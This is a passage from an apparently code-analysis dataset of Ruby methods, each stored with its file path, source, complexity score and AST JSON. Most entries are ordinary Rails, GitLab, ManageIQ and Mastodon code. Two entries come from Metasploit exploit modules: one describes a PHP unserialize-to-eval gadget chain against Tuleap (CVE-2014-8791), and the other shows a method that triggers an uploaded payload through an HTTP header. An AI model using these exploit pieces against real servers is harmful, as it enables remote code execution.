the permissions of the\\n\"]},{\"type\":\"str\",\"children\":[\"          web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'\\n\"]},{\"type\":\"str\",\"children\":[\"          file. The exploit abuses the destructor method from the Jabbex class in order to reach a\\n\"]},{\"type\":\"str\",\"children\":[\"          call_user_func_array() call in the Jabber class and call the fetchPostActions() method from\\n\"]},{\"type\":\"str\",\"children\":[\"          the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In\\n\"]},{\"type\":\"str\",\"children\":[\"          order to work, the target must have the 'sys_create_project_in_one_step' option disabled.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"EgiX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-8791\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://karmainsecurity.com/KIS-2014-13\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tuleap.net/plugins/tracker/?aid=7601\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Generic (PHP Payload)\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-11-27\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the web application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Negotiate SSL for outgoing connections\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]}]}]}]}]}","id":"53b97b1b-9292-40c3-bd09-71c685164258"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/atutor_filemanager_traversal.rb","start_line":159,"raw_source":"def call_php(ext)\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'mods', \"#{@payload_name}.#{ext}\"),\n      'raw_headers' => \"#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\\r\\n\"\n    }, timeout = 0.1)\n    return res\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call_php\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ext\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"mods\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"raw_headers\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@header\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"float\",\"children\":[0.1]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"10459931-df1c-4baf-8728-34ce630bda5b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/notifications/fanout.rb","start_line":241,"raw_source":"def start\n          ensure_state! :initialized\n          @state = :started\n\n          iterate_guarding_exceptions(@groups) do |group|\n            group.start(@name, @id, @payload)\n          end\n        end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_state!\",{\"type\":\"sym\",\"children\":[\"initialized\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"sym\",\"children\":[\"started\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"iterate_guarding_exceptions\",{\"type\":\"ivar\",\"children\":[\"@groups\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"start\",{\"type\":\"ivar\",\"children\":[\"@name\"]},{\"type\":\"ivar\",\"children\":[\"@id\"]},{\"type\":\"ivar\",\"children\":[\"@payload\"]}]}]}]}]}","id":"ce8bdac0-9419-4c88-9975-fb3404631e1e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/model_schema.rb","start_line":414,"raw_source":"def sequence_name=(value)\n        @sequence_name          = value.to_s\n        @explicit_sequence_name = true\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sequence_name=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sequence_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@explicit_sequence_name\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"c3d625fa-fa9d-4b63-a8b9-8cd002f80d37"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule.rb","start_line":263,"raw_source":"def rufus_schedule_opts\n    message = last_run_on ? \"schedule updated\" : \"scheduled\"\n\n    options = {}\n    case run_at[:interval][:unit].downcase\n    when \"once\"\n      # Don't run onetime schedule again unless the start_time was updated to a later time\n      unless last_run_on && (last_run_on > run_at[:start_time])\n        time = run_at[:start_time].getlocal\n        _log.info(\"Schedule [#{name}] #{message} to run at #{time}\")\n        options = {:method => :schedule_at, :interval => time, :schedule_id => id, :discard_past => true, :tags => tag}\n      end\n    when \"monthly\"\n      time = next_interval_time\n      _log.info(\"Schedule [#{name}] #{message} to run at #{time} every #{run_at[:interval][:value]} months\")\n      options = {:method => :schedule_at, :months => run_at[:interval][:value].to_i, :schedule_id => id, :discard_past => true, :interval => time, :tags => tag}\n    else\n      time = next_interval_time\n      int = interval\n      _log.info(\"Schedule [#{name}] #{message} to run at #{time} with interval #{int}\")\n      options = {:method => :schedule_every, :interval => int, :schedule_id => id, :discard_past => true, :first_at => time, :tags => tag}\n    end\n    options\n  end","complexity_score":70.3,"ast_json":"{\"type\":\"def\",\"children\":[\"rufus_schedule_opts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_run_on\"]},{\"type\":\"str\",\"children\":[\"schedule updated\"]},{\"type\":\"str\",\"children\":[\"scheduled\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"unit\"]}]},\"downcase\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"once\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_run_on\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_run_on\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_time\"]}]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_time\"]}]},\"getlocal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Schedule [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\" to run at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"schedule_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schedule_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discard_past\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[null,\"tag\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"monthly\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[null,\"next_interval_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Schedule [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\" to run at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"str\",\"children\":[\" every \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"str\",\"children\":[\" months\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"schedule_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"months\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schedule_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discard_past\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[null,\"tag\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[null,\"next_interval_time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[null,\"interval\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Schedule [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\" to run at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"str\",\"children\":[\" with interval \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"schedule_every\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"int\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schedule_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discard_past\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[null,\"tag\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"a6118eed-6927-4d65-9367-e5d683e3b76a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/git_worktree.rb","start_line":437,"raw_source":"def lookup_commit_tree\n    return nil if !@commit_sha && !@repo.branches['master']\n\n    ct = @commit_sha ? @repo.lookup(@commit_sha) : @repo.branches['master'].target\n    ct.tree if ct\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_commit_tree\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit_sha\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo\"]},\"branches\"]},\"[]\",{\"type\":\"str\",\"children\":[\"master\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ct\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo\"]},\"lookup\",{\"type\":\"ivar\",\"children\":[\"@commit_sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo\"]},\"branches\"]},\"[]\",{\"type\":\"str\",\"children\":[\"master\"]}]},\"target\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ct\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ct\"]},\"tree\"]},null]}]}]}","id":"5bca6222-18f2-4c53-8ecf-9a9ac20561f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/metrics_server/metrics_server.rb","start_line":96,"raw_source":"def ensure_valid_target!(target)\n      raise \"Target must be one of [puma,sidekiq]\" unless %w[puma sidekiq].include?(target)\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_valid_target!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"puma\"]},{\"type\":\"str\",\"children\":[\"sidekiq\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Target must be one of [puma,sidekiq]\"]}]}]}]}","id":"d71c1c1f-f511-4252-8709-ac9b6210e620"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/concerns/ai_workflows_access.rb","start_line":9,"raw_source":"def allow_ai_workflows_access\n          allow_access_with_scope :ai_workflows, if: ->(request) do\n            request.get? || request.head? || request.post? || request.put?\n          end\n        end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_ai_workflows_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"allow_access_with_scope\",{\"type\":\"sym\",\"children\":[\"ai_workflows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"get?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"head?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"post?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"put?\"]}]}]}]}]}]}]}","id":"5b0dc179-822e-45bf-849a-d262491c1e86"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/theme_helper.rb","start_line":4,"raw_source":"def theme_style_tags(theme)\n    if theme == 'system'\n      ''.html_safe.tap do |tags|\n        tags << vite_stylesheet_tag('themes/mastodon-light', type: :virtual, media: 'not all and (prefers-color-scheme: dark)', crossorigin: 'anonymous')\n        tags << vite_stylesheet_tag('themes/default', type: :virtual, media: '(prefers-color-scheme: dark)', crossorigin: 'anonymous')\n      end\n    else\n      vite_stylesheet_tag \"themes/#{theme}\", type: :virtual, media: 'all', crossorigin: 'anonymous'\n    end\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"theme_style_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"==\",{\"type\":\"str\",\"children\":[\"system\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"html_safe\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"vite_stylesheet_tag\",{\"type\":\"str\",\"children\":[\"themes/mastodon-light\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"virtual\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"media\"]},{\"type\":\"str\",\"children\":[\"not all and (prefers-color-scheme: dark)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"crossorigin\"]},{\"type\":\"str\",\"children\":[\"anonymous\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"vite_stylesheet_tag\",{\"type\":\"str\",\"children\":[\"themes/default\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"virtual\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"media\"]},{\"type\":\"str\",\"children\":[\"(prefers-color-scheme: dark)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"crossorigin\"]},{\"type\":\"str\",\"children\":[\"anonymous\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vite_stylesheet_tag\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"themes/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"virtual\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"media\"]},{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"crossorigin\"]},{\"type\":\"str\",\"children\":[\"anonymous\"]}]}]}]}]}]}","id":"fe488d38-d134-4eeb-bd4d-8e327e88b3b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/projects/sync_fork.rb","start_line":50,"raw_source":"def rate_limit_throttled?(project)\n        Gitlab::ApplicationRateLimiter.throttled?(:project_fork_sync, scope: [project, current_user])\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limit_throttled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ApplicationRateLimiter\"]},\"throttled?\",{\"type\":\"sym\",\"children\":[\"project_fork_sync\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}","id":"9207eb32-13c1-43fb-8320-3868a6549c80"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/plugins/redcarpet.rb","start_line":10,"raw_source":"def block_code(code, language)\n        lexer = Lexer.find_fancy(language, code) || Lexers::PlainText\n\n        # XXX HACK: Redcarpet strips hard tabs out of code blocks,\n        # so we assume you're not using leading spaces that aren't tabs,\n        # and just replace them here.\n        if lexer.tag == 'make'\n          code.gsub! /^    /, \"\\t\"\n        end\n\n        formatter = rouge_formatter(lexer)\n        formatter.format(lexer.lex(code))\n      end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"block_code\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]},{\"type\":\"arg\",\"children\":[\"language\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lexer\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Lexer\"]},\"find_fancy\",{\"type\":\"lvar\",\"children\":[\"language\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Lexers\"]},\"PlainText\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"tag\"]},\"==\",{\"type\":\"str\",\"children\":[\"make\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^    \"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\t\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"formatter\",{\"type\":\"send\",\"children\":[null,\"rouge_formatter\",{\"type\":\"lvar\",\"children\":[\"lexer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter\"]},\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"lex\",{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}]}","id":"5bbedc48-a098-4792-a919-771aeb8f7860"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/javascript_fixtures_helpers.rb","start_line":72,"raw_source":"def typename_editor\n    typename = Graphlyte::Syntax::Field.new(name: '__typename')\n\n    @editor ||= Graphlyte::Editor.new.on_field do |field|\n      is_typename = field.selection.respond_to?(:name) && field.selection.map(&:name).include?('__typename')\n      field.selection << typename unless field.selection.empty? || is_typename\n    end\n  